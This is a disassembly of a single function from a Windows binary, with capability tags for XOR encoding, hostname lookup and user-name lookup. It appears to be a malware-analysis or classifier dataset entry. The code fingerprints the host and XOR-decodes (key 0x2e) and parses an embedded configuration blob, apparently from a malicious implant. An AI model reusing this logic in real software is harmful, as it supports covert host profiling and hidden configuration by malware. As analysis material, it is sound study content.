Function at 0x180019a44
Capabilities:
Encode data using xor
Get hostname
Get session user name

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov rbp, rsp
sub rsp, 0x50
mov rbx, rcx
mov ecx, 0x500
call fcn.18001473c
mov edx, 0x100
mov rcx, rax
mov r12, rax
call fcn.18001489c
mov edx, 0x100
mov rcx, r12
mov rsi, rax
call fcn.18001489c
mov edx, 0x100
mov rcx, r12
mov r15, rax
call fcn.18001489c
mov edi, 0x80
mov rcx, r12
mov edx, edi
mov r14, rax
call fcn.18001489c
mov edx, edi
mov rcx, r12
call fcn.18001489c
mov qword [0x1800500f0], rbx
mov ebx, 0x100
xor r13d, r13d
mov edx, ebx
mov rcx, r12
mov edi, r13d
call fcn.18001489c
mov r8d, ebx
mov rcx, rax
xor edx, edx
mov qword [0x180050100], rax
call fcn.18001d470
call fcn.180019858
mov ebx, 0x800
mov ecx, ebx
call fcn.18001d1c8
mov r8d, ebx
xor edx, edx
mov rcx, rax
mov qword [0x1800500f8], rax
call fcn.18001d470
mov rcx, qword [0x1800500f8]
lea eax, [r13 + 1]
mov r9d, eax
mov r8d, eax
mov edx, ebx
mov qword [rsp + 0x20], r13
call fcn.18001ca38
lea ecx, [r13 + 8]
call fcn.180019838
mov ebx, eax
test ax, ax
je 0x180019b8d
xor ecx, ecx
call fcn.18000ec4c
mov ecx, eax
call sub.WS2_32.dll_htonl
lea ecx, [r13 + 1]
mov dword [rbp + 0x48], eax
cmp bx, cx
jne 0x180019b57
and eax, 0xff000000
jmp 0x180019b6f
cmp bx, 2
jne 0x180019b64
and eax, 0xffff0000
jmp 0x180019b6f
cmp bx, 3
jne 0x180019b72
and eax, 0xffffff00
mov dword [rbp + 0x48], eax
lea r8, [rbp + 0x48]
lea rcx, str.._._._..._._._.._._...
mov r9d, 4
mov edx, 0x1000
call fcn.180019988
mov ecx, 7
call fcn.180019848
movzx ebx, ax
test ax, ax
je 0x180019bc7
lea r8, [rbp + 0x40]
mov rdx, r14
mov ecx, 6
mov dword [rbp + 0x40], 0x100
call qword [sym.imp.KERNEL32.dll_GetComputerNameExA]
mov r8d, dword [rbp + 0x40]
movzx edx, bx
mov rcx, r14
call fcn.180019e10
mov ecx, 6
call fcn.180019848
movzx ebx, ax
test ax, ax
je 0x180019bfc
lea rdx, [rbp + 0x40]
mov rcx, rsi
mov dword [rbp + 0x40], 0x100
call qword [sym.imp.KERNEL32.dll_GetComputerNameA]
mov r8d, dword [rbp + 0x40]
movzx edx, bx
mov rcx, rsi
call fcn.180019e10
mov ecx, 5
call fcn.180019848
movzx ebx, ax
test ax, ax
je 0x180019c40
lea rdx, [rbp + 0x40]
mov rcx, r15
mov dword [rbp + 0x40], 0x100
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
mov r8d, dword [rbp + 0x40]
mov r14d, 1
sub r8d, r14d
movzx edx, bx
mov rcx, r15
mov dword [rbp + 0x40], r8d
call fcn.180019e10
jmp 0x180019c46
mov r14d, 1
mov rax, r13
lea r15, str.._._._..._._._.._._...
mov esi, 0x1000
xor byte [rax + r15], 0x2e
add rax, r14
cmp rax, rsi
jl 0x180019c55
mov ecx, 9
call fcn.180019838
mov ebx, eax
test eax, eax
je 0x180019cc2
mov r8d, r13d
mov r9, r15
mov eax, 0x55555556
imul r8d
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea eax, [rdx + rdx*2]
mov edx, r8d
add r8d, r14d
sub edx, eax
movsx eax, byte [r9]
add r9, r14
add edx, r14d
movzx ecx, al
mov eax, 0xabcc772f
imul edx, ecx
add edx, edi
mov edi, edx
mul edx
shr edx, 0x1a
imul edx, edx, 0x5f5e0ff
sub edi, edx
cmp r8d, esi
jl 0x180019c78
sub ebx, r14d
jmp 0x180019cc5
mov ebx, r13d
lea rcx, [rbp - 0x20]
mov r8d, esi
mov rdx, r15
call fcn.180014854
cmp ebx, edi
jne 0x180019dcf
lea rcx, [rbp - 0x20]
call fcn.180014900
movzx edi, ax
test ax, ax
jle 0x180019dcf
lea rcx, [rbp - 0x20]
call fcn.180014900
lea rcx, [rbp - 0x20]
movsx ebx, ax
call fcn.180014900
mov rcx, qword [0x1800500f8]
movsx rdi, di
mov edx, ebx
movzx esi, ax
shl rdi, 4
mov word [rdi + rcx], bx
dec edx
je 0x180019da0
dec edx
je 0x180019d8a
dec edx
jne 0x180019db5
movsx rbx, ax
mov rcx, rbx
call fcn.18001d1c8
mov r8, qword [0x1800500f8]
lea rcx, [rbp - 0x20]
movsx edx, si
mov qword [rdi + r8 + 8], rax
call fcn.18001489c
mov rcx, qword [0x1800500f8]
mov r8, rbx
mov rcx, qword [rdi + rcx + 8]
mov rdx, rax
call fcn.18001d860
mov rcx, qword [0x1800500f8]
mov r9d, r14d
mov rcx, qword [rdi + rcx + 8]
mov r8d, r14d
mov rdx, rbx
mov qword [rsp + 0x20], r13
call fcn.18001ca38
jmp 0x180019db5
lea rcx, [rbp - 0x20]
call fcn.180014864
mov rcx, qword [0x1800500f8]
mov dword [rdi + rcx + 8], eax
jmp 0x180019db5
lea rcx, [rbp - 0x20]
call fcn.180014900
mov rcx, qword [0x1800500f8]
mov word [rdi + rcx + 8], ax
lea rcx, [rbp - 0x20]
call fcn.180014900
movzx edi, ax
test ax, ax
jg 0x180019cf1
mov esi, 0x1000
mov rcx, r12
call fcn.180014830
mov r8, rsi
xor edx, edx
mov rcx, r15
call fcn.18001d470
mov ecx, reloc.WS2_32.dll_recvfrom
call fcn.180019a04
mov ecx, eax
call fcn.18001a9fc
mov rbx, qword [rsp + 0xa0]
add rsp, 0x50
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret